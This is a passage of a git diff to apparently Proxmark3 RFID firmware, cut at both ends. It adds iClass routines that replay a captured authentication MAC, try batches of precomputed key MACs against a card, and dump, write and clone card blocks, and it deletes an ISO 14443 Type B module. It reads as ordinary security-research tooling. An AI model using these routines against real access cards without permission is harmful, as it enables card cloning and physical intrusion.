0x00, 0x00 }; + uint8_t readcheck_cc[] = { ICLASS_CMD_READCHECK_KD, 0x02 }; + + if (use_credit_key) + readcheck_cc[0] = ICLASS_CMD_READCHECK_KC; + + uint8_t resp[ICLASS_BUFFER_SIZE] = {0}; + uint8_t read_status = 0; + + // Send act_all + ReaderTransmitIClass_ext(act_all, 1, 330+160); + // Card present? + if (!ReaderReceiveIClass(resp)) return read_status;//Fail + + //Send Identify + ReaderTransmitIClass(identify, 1); + + //We expect a 10-byte response here, 8 byte anticollision-CSN and 2 byte CRC + uint8_t len = ReaderReceiveIClass(resp); + if (len != 10) return read_status;//Fail + + //Copy the Anti-collision CSN to our select-packet + memcpy(&select[1], resp, 8); + + //Select the card + ReaderTransmitIClass(select, sizeof(select)); + + //We expect a 10-byte response here, 8 byte CSN and 2 byte CRC + len = ReaderReceiveIClass(resp); + if (len != 10) return read_status;//Fail + + //Success - level 1, we got CSN + //Save CSN in response data + memcpy(card_data, resp, 8); + + //Flag that we got to at least stage 1, read CSN + read_status = 1; + + // Card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC) + // ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc)); + // if (ReaderReceiveIClass(resp) == 8) { + // //Save CC (e-purse) in response data + // memcpy(card_data+8, resp, 8); + // read_status++; + // } + + bool isOK = sendCmdGetResponseWithRetries(readcheck_cc, sizeof(readcheck_cc), resp, 8, 3); + if (!isOK) return read_status; + + //Save CC (e-purse) in response data + memcpy(card_data+8, resp, 8); + read_status++; + return read_status; +} +uint8_t handshakeIclassTag(uint8_t *card_data){ + return handshakeIclassTag_ext(card_data, false); } // Reader iClass Anticollission +// turn off afterwards void ReaderIClass(uint8_t arg0) { - uint8_t act_all[] = { 0x0a }; - uint8_t identify[] = { 0x0c }; - uint8_t select[] = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes + uint8_t card_data[6 * 8] = {0}; + uint8_t last_csn[8] = {0,0,0,0,0,0,0,0}; + uint8_t resp[ICLASS_BUFFER_SIZE]; - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - - // Reset trace buffer - memset(trace, 0x44, RECV_CMD_OFFSET); - traceLen = 0; - - // Setup SSC - FpgaSetupSsc(); - // Start from off (no field generated) - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(200); - - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - // Now give it time to spin up. - // Signal field is on with the appropriate LED - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - SpinDelay(200); - - LED_A_ON(); - - for(;;) { + memset(card_data, 0xFF, sizeof(card_data)); + memset(resp, 0xFF, sizeof(resp)); - if(traceLen > TRACE_SIZE) { - DbpString("Trace full"); - break; + //Read conf block CRC(0x01) => 0xfa 0x22 + uint8_t readConf[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x01, 0xfa, 0x22}; + + //Read App Issuer Area block CRC(0x05) => 0xde 0x64 + uint8_t readAA[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x05, 0xde, 0x64}; + + int read_status = 0; + uint16_t tryCnt = 0; + uint8_t result_status = 0; + + bool abort_after_read = arg0 & FLAG_ICLASS_READER_ONLY_ONCE; // flag to read until one tag is found successfully + bool try_once = arg0 & FLAG_ICLASS_READER_ONE_TRY; // flag to not to loop continuously, looking for tag + bool use_credit_key = arg0 & FLAG_ICLASS_READER_CEDITKEY; // flag to use credit key + bool flagReadConfig = arg0 & FLAG_ICLASS_READER_CONF; // flag to read block1, configuration + bool flagReadCC = arg0 & FLAG_ICLASS_READER_CC; // flag to read block2, e-purse + bool flagReadAIA = arg0 & FLAG_ICLASS_READER_AIA; // flag to read block5, application issuer area + + setupIclassReader(); + + bool userCancelled = BUTTON_PRESS() || usb_poll_validate_length(); + while (!userCancelled) { + + WDT_HIT(); + + // if only looking for one card try 2 times if we missed it the first time + if (try_once && tryCnt > 2) { + if (MF_DBGLEVEL > 1) DbpString("Failed to find a tag"); + break; } - if (BUTTON_PRESS()) break; + tryCnt++; + result_status = 0; - // Send act_all - ReaderTransmitIClass(act_all, 1); - // Card present? - if(ReaderReceiveIClass(resp)) { - ReaderTransmitIClass(identify, 1); - if(ReaderReceiveIClass(resp) == 10) { - // Select card - memcpy(&select[1],resp,8); - ReaderTransmitIClass(select, sizeof(select)); + read_status = handshakeIclassTag_ext(card_data, use_credit_key); - if(ReaderReceiveIClass(resp) == 10) { - Dbprintf(" Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x", - resp[0], resp[1], resp[2], - resp[3], resp[4], resp[5], - resp[6], resp[7]); - } - // Card selected, whats next... ;-) + if (read_status == 0) continue; + if (read_status == 1) result_status = FLAG_ICLASS_READER_CSN; + if (read_status == 2) result_status = FLAG_ICLASS_READER_CSN | FLAG_ICLASS_READER_CC; + + // handshakeIclass returns CSN|CC, but the actual block + // layout is CSN|CONFIG|CC, so here we reorder the data, + // moving CC forward 8 bytes + memcpy(card_data+16, card_data+8, 8); + + //Read block 1, config + if (flagReadConfig) { + if (sendCmdGetResponseWithRetries(readConf, sizeof(readConf), resp, 10, 5)) { + result_status |= FLAG_ICLASS_READER_CONF; + memcpy(card_data+8, resp, 8); + } else { + if (MF_DBGLEVEL > 1) DbpString("Failed to dump config block"); } } - WDT_HIT(); + + //Read block 5, AIA + if (flagReadAIA) { + if (sendCmdGetResponseWithRetries(readAA, sizeof(readAA), resp, 10, 5)) { + result_status |= FLAG_ICLASS_READER_AIA; + memcpy(card_data+(8*5), resp, 8); + } else { + if (MF_DBGLEVEL > 1) DbpString("Failed to dump AA block"); + } + } + + // 0 : CSN + // 1 : Configuration + // 2 : e-purse + // 3 : kd / debit / aa2 (write-only) + // 4 : kc / credit / aa1 (write-only) + // 5 : AIA, Application issuer area + // + //Then we can 'ship' back the 6 * 8 bytes of data, + // with 0xFF:s in block 3 and 4. + + LED_B_ON(); + //Send back to client, but don't bother if we already sent this - + // only useful if looping in arm (not try_once && not abort_after_read) + if (memcmp(last_csn, card_data, 8) != 0) { + // If caller requires that we get Conf, CC, AA, continue until we got it + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) { + Dbprintf("STATUS %02X | CSN %c | CONF %c | CC %c | AIA %c | ONCE %c | 1TRY %c", + result_status, + (result_status & FLAG_ICLASS_READER_CSN) ? 'Y':'N', + (result_status & FLAG_ICLASS_READER_CONF)? 'Y':'N', + (result_status & FLAG_ICLASS_READER_CC) ? 'Y':'N', + (result_status & FLAG_ICLASS_READER_AIA) ? 'Y':'N' + ); + Dbprintf(" aar %c | to %c, | uc %c | frc %c | fra %c | cc %c", + abort_after_read ? 'Y':'N', + try_once ? 'Y':'N', + use_credit_key ? 'Y':'N', + flagReadConfig ? 'Y':'N', + flagReadAIA ? 'Y':'N', + flagReadCC ? 'Y':'N' + ); + } + + bool send = (result_status & FLAG_ICLASS_READER_CSN ); + if (flagReadCC) + send |= (result_status & FLAG_ICLASS_READER_CC ); + if (flagReadAIA) + send |= (result_status & FLAG_ICLASS_READER_AIA ); + if (flagReadConfig) + send |= (result_status & FLAG_ICLASS_READER_CONF ); + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("SEND %c", send?'y':'n'); + + if ( send ) { + cmd_send(CMD_ACK, result_status, 0, 0, card_data, sizeof(card_data) ); + if (abort_after_read) { + LED_B_OFF(); + return; + } + //Save that we already sent this.... + memcpy(last_csn, card_data, 8); + } + } + LED_B_OFF(); + userCancelled = BUTTON_PRESS() || usb_poll_validate_length(); } - LED_A_OFF(); + if (userCancelled) { + cmd_send(CMD_ACK, 0xFF, 0, 0, card_data, 0); + switch_off(); + } else { + cmd_send(CMD_ACK, 0, 0, 0, card_data, 0); + } } +// turn off afterwards +void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) { + uint8_t cardsize = 0; + uint8_t mem = 0; + uint8_t check[] = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t read[] = { 0x0c, 0x00, 0x00, 0x00 }; + uint8_t card_data[USB_CMD_DATA_SIZE] = {0}; + uint8_t resp[ICLASS_BUFFER_SIZE] = {0}; + + static struct memory_t{ + int k16; + int book; + int k2; + int lockauth; + int keyaccess; + } memory; + + setupIclassReader(); + + while (!BUTTON_PRESS()) { + + WDT_HIT(); + + uint8_t read_status = handshakeIclassTag(card_data); + if (read_status < 2) continue; + + //for now replay captured auth (as cc not updated) + memcpy(check+5, MAC, 4); + + if (!sendCmdGetResponseWithRetries(check, sizeof(check), resp, 4, 5)) { + DbpString("Error: Authentication Fail!"); + continue; + } + + //first get configuration block (block 1) + read[1] = 1; + AddCrc( read+1, 1 ); + + if (!sendCmdGetResponseWithRetries(read, sizeof(read), resp, 10, 5)) { + DbpString("Dump config (block 1) failed"); + continue; + } + + mem = resp[5]; + memory.k16 = (mem & 0x80); + memory.book = (mem & 0x20); + memory.k2 = (mem & 0x8); + memory.lockauth = (mem & 0x2); + memory.keyaccess = (mem & 0x1); + + cardsize = memory.k16 ? 255 : 32; + + WDT_HIT(); + //Set card_data to all zeroes, we'll fill it with data + memset(card_data, 0x0, USB_CMD_DATA_SIZE); + uint8_t failedRead = 0; + uint32_t stored_data_length = 0; + + //then loop around remaining blocks + for ( uint16_t block=0; block < cardsize; block++) { + + read[1] = block; + AddCrc( read+1, 1 ); + + if (sendCmdGetResponseWithRetries(read, sizeof(read), resp, 10, 5)) { + Dbprintf(" %02x: %02x %02x %02x %02x %02x %02x %02x %02x", + block, resp[0], resp[1], resp[2], + resp[3], resp[4], resp[5], + resp[6], resp[7] + ); + + //Fill up the buffer + memcpy(card_data + stored_data_length, resp, 8); + stored_data_length += 8; + if (stored_data_length + 8 > USB_CMD_DATA_SIZE) { + //Time to send this off and start afresh + cmd_send(CMD_ACK, + stored_data_length,//data length + failedRead,//Failed blocks? + 0,//Not used ATM + card_data, + stored_data_length + ); + //reset + stored_data_length = 0; + failedRead = 0; + } + } else { + failedRead = 1; + stored_data_length += 8;//Otherwise, data becomes misaligned + Dbprintf("Failed to dump block %d", block); + } + } + + //Send off any remaining data + if (stored_data_length > 0) { + cmd_send(CMD_ACK, + stored_data_length,//data length + failedRead,//Failed blocks? + 0,//Not used ATM + card_data, + stored_data_length + ); + } + //If we got here, let's break + break; + } + //Signal end of transmission + cmd_send(CMD_ACK, + 0,//data length + 0,//Failed blocks? + 0,//Not used ATM + card_data, + 0 + ); + switch_off(); +} + +// not used. ?!? ( CMD_ICLASS_READCHECK) +// turn off afterwards +void iClass_ReadCheck(uint8_t blockNo, uint8_t keyType) { + uint8_t readcheck[] = { keyType, blockNo }; + uint8_t resp[] = {0,0,0,0,0,0,0,0}; + size_t isOK = 0; + isOK = sendCmdGetResponseWithRetries(readcheck, sizeof(readcheck), resp, sizeof(resp), 6); + cmd_send(CMD_ACK,isOK,0,0,0,0); + switch_off(); +} + +// used with function select_and_auth (cmdhficlass.c) +// which needs to authenticate before doing more things like read/write +void iClass_Authentication(uint8_t *mac) { + uint8_t check[] = { ICLASS_CMD_CHECK, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t resp[ICLASS_BUFFER_SIZE]; + + // copy MAC to check command (readersignature) + check[5] = mac[0]; + check[6] = mac[1]; + check[7] = mac[2]; + check[8] = mac[3]; + //memcpy(check+5, mac, 4); + + // 6 retries + bool isOK = sendCmdGetResponseWithRetries(check, sizeof(check), resp, 4, 6); + cmd_send(CMD_ACK,isOK,0,0,0,0); +} + +typedef struct iclass_premac { + uint8_t mac[4]; +} iclass_premac_t; + +/* this function works on the following assumptions. +* - one select first, to get CSN / CC (e-purse) +* - calculate before diversified keys and precalc mac based on CSN/KEY. +* - data in contains of diversified keys, mac +* - key loop only test one type of authtication key. Ie two calls needed +* to cover debit and credit key. (AA1/AA2) +*/ +void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain) { + uint8_t i = 0, isOK = 0; + uint8_t lastChunk = ((arg0 >> 8) & 0xFF); + bool use_credit_key =((arg0 >> 16) & 0xFF); + uint8_t keyCount = arg1 & 0xFF; + uint8_t check[] = { ICLASS_CMD_CHECK, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t resp[ICLASS_BUFFER_SIZE]; + uint8_t readcheck_cc[] = { ICLASS_CMD_READCHECK_KD, 0x02 }; + + if (use_credit_key) + readcheck_cc[0] = ICLASS_CMD_READCHECK_KC; + + // select card / e-purse + uint8_t card_data[6 * 8] = {0}; + + iclass_premac_t *keys = (iclass_premac_t *)datain; + + LED_A_ON(); + + switch_off(); + SpinDelay(20); + + setupIclassReader(); + + int read_status = 0; + uint8_t startup_limit = 10; + while ( read_status != 2) { + + if (BUTTON_PRESS() && !usb_poll_validate_length()) goto out; + + read_status = handshakeIclassTag_ext(card_data, use_credit_key); + if ( startup_limit-- == 0 ) { + Dbprintf("[-] Handshake status | %d (fail 10)", read_status); + isOK = 99; + goto out; + } + }; + // since handshakeIclassTag_ext call sends s readcheck, we start with sending first response. + + // Keychunk loop + for (i = 0; i < keyCount; i++) { + + // Allow button press / usb cmd to interrupt device + if (BUTTON_PRESS() && !usb_poll_validate_length()) break; + + WDT_HIT(); + LED_B_ON(); + + // copy MAC to check command (readersignature) + check[5] = keys[i].mac[0]; + check[6] = keys[i].mac[1]; + check[7] = keys[i].mac[2]; + check[8] = keys[i].mac[3]; + + // expect 4bytes, 3 retries times.. + isOK = sendCmdGetResponseWithRetries(check, sizeof(check), resp, 4, 3); + if ( isOK ) + goto out; + + SpinDelayUs(400); //iClass (iso15693-2) should timeout after 330us. + + // Auth Sequence MUST begin with reading e-purse. (block2) + // Card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC) + ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc)); + + LED_B_OFF(); + } + +out: + // send keyindex. + cmd_send(CMD_ACK, isOK, i, 0, 0, 0); + + if ( isOK >= 1 || lastChunk ) { + switch_off(); + LED_A_OFF(); + } + + LED_B_OFF(); + LED_C_OFF(); +} + +// Tries to read block. +// retries 10times. +bool iClass_ReadBlock(uint8_t blockNo, uint8_t *data, uint8_t len) { + uint8_t resp[10]; + uint8_t cmd[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockNo, 0x00, 0x00}; + AddCrc( cmd+1, 1 ); + // expect size 10, retry 5times + bool isOK = sendCmdGetResponseWithRetries(cmd, sizeof(cmd), resp, 10, 5); + memcpy(data, resp, len); + return isOK; +} + +// turn off afterwards +// readblock 8 + 2. only want 8. +void iClass_ReadBlk(uint8_t blockno) { + uint8_t data[] = {0,0,0,0,0,0,0,0,0,0}; + bool isOK = iClass_ReadBlock(blockno, data, sizeof(data)); + cmd_send(CMD_ACK, isOK, 0, 0, data, sizeof(data)); + switch_off(); +} + +// turn off afterwards +void iClass_Dump(uint8_t blockno, uint8_t numblks) { + uint8_t blockdata[] = {0,0,0,0,0,0,0,0,0,0}; + bool isOK = false; + uint8_t blkCnt = 0; + + BigBuf_free(); + uint8_t *dataout = BigBuf_malloc(255*8); + if (dataout == NULL){ + DbpString("[!] out of memory"); + OnError(1); + return; + } + // fill mem with 0xFF + memset(dataout, 0xFF, 255*8); + + for (;blkCnt < numblks; blkCnt++) { + isOK = iClass_ReadBlock(blockno + blkCnt, blockdata, sizeof(blockdata)); + + // 0xBB is the internal debug separator byte.. + if (!isOK || (blockdata[0] == 0xBB || blockdata[7] == 0xBB || blockdata[2] == 0xBB)) { //try again + isOK = iClass_ReadBlock(blockno + blkCnt, blockdata, sizeof(blockdata)); + if (!isOK) { + Dbprintf("[!] block %02X failed to read", blkCnt + blockno); + break; + } + } + memcpy(dataout + (blkCnt * 8), blockdata, 8); + } + //return pointer to dump memory in arg3 + cmd_send(CMD_ACK, isOK, blkCnt, BigBuf_max_traceLen(), 0, 0); + switch_off(); + BigBuf_free(); +} + +bool iClass_WriteBlock_ext(uint8_t blockNo, uint8_t *data) { + + uint8_t resp[] = {0,0,0,0,0,0,0,0,0,0}; + uint8_t write[] = { ICLASS_CMD_UPDATE, blockNo, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + memcpy(write+2, data, 12); // data + mac + AddCrc(write+1, 13); + + bool isOK = sendCmdGetResponseWithRetries(write, sizeof(write), resp, sizeof(resp), 5); + if (isOK) { //if reader responded correctly + + //if response is not equal to write values + if (memcmp(write + 2, resp, 8)) { + + //if not programming key areas (note key blocks don't get programmed with actual key data it is xor data) + if (blockNo != 3 && blockNo != 4) { + isOK = sendCmdGetResponseWithRetries(write, sizeof(write), resp, sizeof(resp), 5); + } + } + } + return isOK; +} + +// turn off afterwards +void iClass_WriteBlock(uint8_t blockNo, uint8_t *data) { + bool isOK = iClass_WriteBlock_ext(blockNo, data); + cmd_send(CMD_ACK,isOK,0,0,0,0); + switch_off(); +} + +// turn off afterwards +void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data) { + int i, written = 0; + int total_block = (endblock - startblock) + 1; + for (i = 0; i < total_block; i++){ + // block number + if (iClass_WriteBlock_ext(i + startblock, data + ( i*12 ) )){ + Dbprintf("Write block [%02x] successful", i + startblock); + written++; + } else { + if (iClass_WriteBlock_ext(i + startblock, data + ( i*12 ) )){ + Dbprintf("Write block [%02x] successful", i + startblock); + written++; + } else { + Dbprintf("Write block [%02x] failed", i + startblock); + } + } + } + if (written == total_block) + DbpString("Clone complete"); + else + DbpString("Clone incomplete"); + + cmd_send(CMD_ACK,1,0,0,0,0); + switch_off(); +} \ No newline at end of file diff --git a/armsrc/iso14443.c b/armsrc/iso14443.c deleted file mode 100644 index 7a445bcb8..000000000 --- a/armsrc/iso14443.c +++ /dev/null @@ -1,1239 +0,0 @@ -//----------------------------------------------------------------------------- -// Jonathan Westhues, split Nov 2006 -// -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// Routines to support ISO 14443. This includes both the reader software and -// the `fake tag' modes. At the moment only the Type B modulation is -// supported. -//----------------------------------------------------------------------------- - -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" - -#include "iso14443crc.h" - -//static void GetSamplesFor14443(int weTx, int n); - -#define DEMOD_TRACE_SIZE 4096 -#define READER_TAG_BUFFER_SIZE 2048 -#define TAG_READER_BUFFER_SIZE 2048 -#define DEMOD_DMA_BUFFER_SIZE 1024 - -//============================================================================= -// An ISO 14443 Type B tag. We listen for commands from the reader, using -// a UART kind of thing that's implemented in software. When we get a -// frame (i.e., a group of bytes between SOF and EOF), we check the CRC. -// If it's good, then we can do something appropriate with it, and send -// a response. -//============================================================================= - -//----------------------------------------------------------------------------- -// Code up a string of octets at layer 2 (including CRC, we don't generate -// that here) so that they can be transmitted to the reader. Doesn't transmit -// them yet, just leaves them ready to send in ToSend[]. -//----------------------------------------------------------------------------- -static void CodeIso14443bAsTag(const uint8_t *cmd, int len) -{ - int i; - - ToSendReset(); - - // Transmit a burst of ones, as the initial thing that lets the - // reader get phase sync. This (TR1) must be > 80/fs, per spec, - // but tag that I've tried (a Paypass) exceeds that by a fair bit, - // so I will too. - for(i = 0; i < 20; i++) { - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - } - - // Send SOF. - for(i = 0; i < 10; i++) { - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - } - for(i = 0; i < 2; i++) { - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - } - - for(i = 0; i < len; i++) { - int j; - uint8_t b = cmd[i]; - - // Start bit - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - - // Data bits - for(j = 0; j < 8; j++) { - if(b & 1) { - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - } else { - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - } - b >>= 1; - } - - // Stop bit - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - } - - // Send SOF. - for(i = 0; i < 10; i++) { - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - ToSendStuffBit(0); - } - for(i = 0; i < 10; i++) { - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - ToSendStuffBit(1); - } - - // Convert from last byte pos to length - ToSendMax++; - - // Add a few more for slop - ToSendMax += 2; -} - -//----------------------------------------------------------------------------- -// The software UART that receives commands from the reader, and its state -// variables. -//----------------------------------------------------------------------------- -static struct { - enum { - STATE_UNSYNCD, - STATE_GOT_FALLING_EDGE_OF_SOF, - STATE_AWAITING_START_BIT, - STATE_RECEIVING_DATA, - STATE_ERROR_WAIT - } state; - uint16_t shiftReg; - int bitCnt; - int byteCnt; - int byteCntMax; - int posCnt; - uint8_t *output; -} Uart; - -/* Receive & handle a bit coming from the reader. - * - * LED handling: - * LED A -> ON once we have received the SOF and are expecting the rest. - * LED A -> OFF once we have received EOF or are in error state or unsynced - * - * Returns: true if we received a EOF - * false if we are still waiting for some more - */ -static int Handle14443UartBit(int bit) -{ - switch(Uart.state) { - case STATE_UNSYNCD: - LED_A_OFF(); - if(!bit) { - // we went low, so this could be the beginning - // of an SOF - Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF; - Uart.posCnt = 0; - Uart.bitCnt = 0; - } - break; - - case STATE_GOT_FALLING_EDGE_OF_SOF: - Uart.posCnt++; - if(Uart.posCnt == 2) { - if(bit) { - if(Uart.bitCnt >= 10) { - // we've seen enough consecutive - // zeros that it's a valid SOF - Uart.posCnt = 0; - Uart.byteCnt = 0; - Uart.state = STATE_AWAITING_START_BIT; - LED_A_ON(); // Indicate we got a valid SOF - } else { - // didn't stay down long enough - // before going high, error - Uart.state = STATE_ERROR_WAIT; - } - } else { - // do nothing, keep waiting - } - Uart.bitCnt++; - } - if(Uart.posCnt >= 4) Uart.posCnt = 0; - if(Uart.bitCnt > 14) { - // Give up if we see too many zeros without - // a one, too. - Uart.state = STATE_ERROR_WAIT; - } - break; - - case STATE_AWAITING_START_BIT: - Uart.posCnt++; - if(bit) { - if(Uart.posCnt > 25) { - // stayed high for too long between - // characters, error - Uart.state = STATE_ERROR_WAIT; - } - } else { - // falling edge, this starts the data byte - Uart.posCnt = 0; - Uart.bitCnt = 0; - Uart.shiftReg = 0; - Uart.state = STATE_RECEIVING_DATA; - LED_A_ON(); // Indicate we're receiving - } - break; - - case STATE_RECEIVING_DATA: - Uart.posCnt++; - if(Uart.posCnt == 2) { - // time to sample a bit - Uart.shiftReg >>= 1; - if(bit) { - Uart.shiftReg |= 0x200; - } - Uart.bitCnt++; - } - if(Uart.posCnt >= 4) { - Uart.posCnt = 0; - } - if(Uart.bitCnt == 10) { - if((Uart.shiftReg & 0x200) && !(Uart.shiftReg & 0x001)) - { - // this is a data byte, with correct - // start and stop bits - Uart.output[Uart.byteCnt] = (Uart.shiftReg >> 1) & 0xff; - Uart.byteCnt++; - - if(Uart.byteCnt >= Uart.byteCntMax) { - // Buffer overflowed, give up - Uart.posCnt = 0; - Uart.state = STATE_ERROR_WAIT; - } else { - // so get the next byte now - Uart.posCnt = 0; - Uart.state = STATE_AWAITING_START_BIT; - } - } else if(Uart.shiftReg == 0x000) { - // this is an EOF byte - LED_A_OFF(); // Finished receiving - return TRUE; - } else { - // this is an error - Uart.posCnt = 0; - Uart.state = STATE_ERROR_WAIT; - } - } - break; - - case STATE_ERROR_WAIT: - // We're all screwed up, so wait a little while - // for whatever went wrong to finish, and then - // start over. - Uart.posCnt++; - if(Uart.posCnt > 10) { - Uart.state = STATE_UNSYNCD; - } - break; - - default: - Uart.state = STATE_UNSYNCD; - break; - } - - // This row make the error blew circular buffer in hf 14b snoop - //if (Uart.state == STATE_ERROR_WAIT) LED_A_OFF(); // Error - - return FALSE; -} - -//----------------------------------------------------------------------------- -// Receive a command (from the reader to us, where we are the simulated tag), -// and store it in the given buffer, up to the given maximum length. Keeps -// spinning, waiting for a well-framed command, until either we get one -// (returns TRUE) or someone presses the pushbutton on the board (FALSE). -// -// Assume that we're called with the SSC (to the FPGA) and ADC path set -// correctly. -//----------------------------------------------------------------------------- -static int GetIso14443CommandFromReader(uint8_t *received, int *len, int maxLen) -{ - uint8_t mask; - int i, bit; - - // Set FPGA mode to "simulated ISO 14443 tag", no modulation (listen - // only, since we are receiving, not transmitting). - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_NO_MODULATION); - - - // Now run a `software UART' on the stream of incoming samples. - Uart.output = received; - Uart.byteCntMax = maxLen; - Uart.state = STATE_UNSYNCD; - - for(;;) { - WDT_HIT(); - - if(BUTTON_PRESS()) return FALSE; - - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0x00; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - - mask = 0x80; - for(i = 0; i < 8; i++, mask >>= 1) { - bit = (b & mask); - if(Handle14443UartBit(bit)) { - *len = Uart.byteCnt; - return TRUE; - } - } - } - } -} - -//----------------------------------------------------------------------------- -// Main loop of simulated tag: receive commands from reader, decide what -// response to send, and send it. -//----------------------------------------------------------------------------- -void SimulateIso14443Tag(void) -{ - static const uint8_t cmd1[] = { 0x05, 0x00, 0x08, 0x39, 0x73 }; - static const uint8_t response1[] = { - 0x50, 0x82, 0x0d, 0xe1, 0x74, 0x20, 0x38, 0x19, 0x22, - 0x00, 0x21, 0x85, 0x5e, 0xd7 - }; - - uint8_t *resp; - int respLen; - - uint8_t *resp1 = (((uint8_t *)BigBuf) + 800); - int resp1Len; - - uint8_t *receivedCmd = (uint8_t *)BigBuf; - int len; - - int i; - - int cmdsRecvd = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - memset(receivedCmd, 0x44, 400); - - CodeIso14443bAsTag(response1, sizeof(response1)); - memcpy(resp1, ToSend, ToSendMax); resp1Len = ToSendMax; - - // We need to listen to the high-frequency, peak-detected path. - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - FpgaSetupSsc(); - - cmdsRecvd = 0; - - for(;;) { - uint8_t b1, b2; - - if(!GetIso14443CommandFromReader(receivedCmd, &len, 100)) { - Dbprintf("button pressed, received %d commands", cmdsRecvd); - break; - } - - // Good, look at the command now. - - if(len == sizeof(cmd1) && memcmp(receivedCmd, cmd1, len)==0) { - resp = resp1; respLen = resp1Len; - } else { - Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsRecvd); - // And print whether the CRC fails, just for good measure - ComputeCrc14443(CRC_14443_B, receivedCmd, len-2, &b1, &b2); - if(b1 != receivedCmd[len-2] || b2 != receivedCmd[len-1]) { - // Not so good, try again. - DbpString("+++CRC fail"); - } else { - DbpString("CRC passes"); - } - break; - } - - memset(receivedCmd, 0x44, 32); - - cmdsRecvd++; - - if(cmdsRecvd > 0x30) { - DbpString("many commands later..."); - break; - } - - if(respLen <= 0) continue; - - // Modulate BPSK - // Signal field is off with the appropriate LED - LED_D_OFF(); - FpgaWriteConfWord( - FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); - AT91C_BASE_SSC->SSC_THR = 0xff; - FpgaSetupSsc(); - - // Transmit the response. - i = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - uint8_t b = resp[i]; - - AT91C_BASE_SSC->SSC_THR = b; - - i++; - if(i > respLen) { - break; - } - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - volatile uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - (void)b; - } - } - } -} - -//============================================================================= -// An ISO 14443 Type B reader. We take layer two commands, code them -// appropriately, and then send them to the tag. We then listen for the -// tag's response, which we leave in the buffer to be demodulated on the -// PC side. -//============================================================================= - -static struct { - enum { - DEMOD_UNSYNCD, - DEMOD_PHASE_REF_TRAINING, - DEMOD_AWAITING_FALLING_EDGE_OF_SOF, - DEMOD_GOT_FALLING_EDGE_OF_SOF, - DEMOD_AWAITING_START_BIT, - DEMOD_RECEIVING_DATA, - DEMOD_ERROR_WAIT - } state; - int bitCount; - int posCount; - int thisBit; - int metric; - int metricN; - uint16_t shiftReg; - uint8_t *output; - int len; - int sumI; - int sumQ; -} Demod; - -/* - * Handles reception of a bit from the tag - * - * LED handling: - * LED C -> ON once we have received the SOF and are expecting the rest. - * LED C -> OFF once we have received EOF or are unsynced - * - * Returns: true if we received a EOF - * false if we are still waiting for some more - * - */ -static RAMFUNC int Handle14443SamplesDemod(int ci, int cq) -{ - int v; - - // The soft decision on the bit uses an estimate of just the - // quadrant of the reference angle, not the exact angle. -#define MAKE_SOFT_DECISION() { \ - if(Demod.sumI > 0) { \ - v = ci; \ - } else { \ - v = -ci; \ - } \ - if(Demod.sumQ > 0) { \ - v += cq; \ - } else { \ - v -= cq; \ - } \ - } - - switch(Demod.state) { - case DEMOD_UNSYNCD: - v = ci; - if(v < 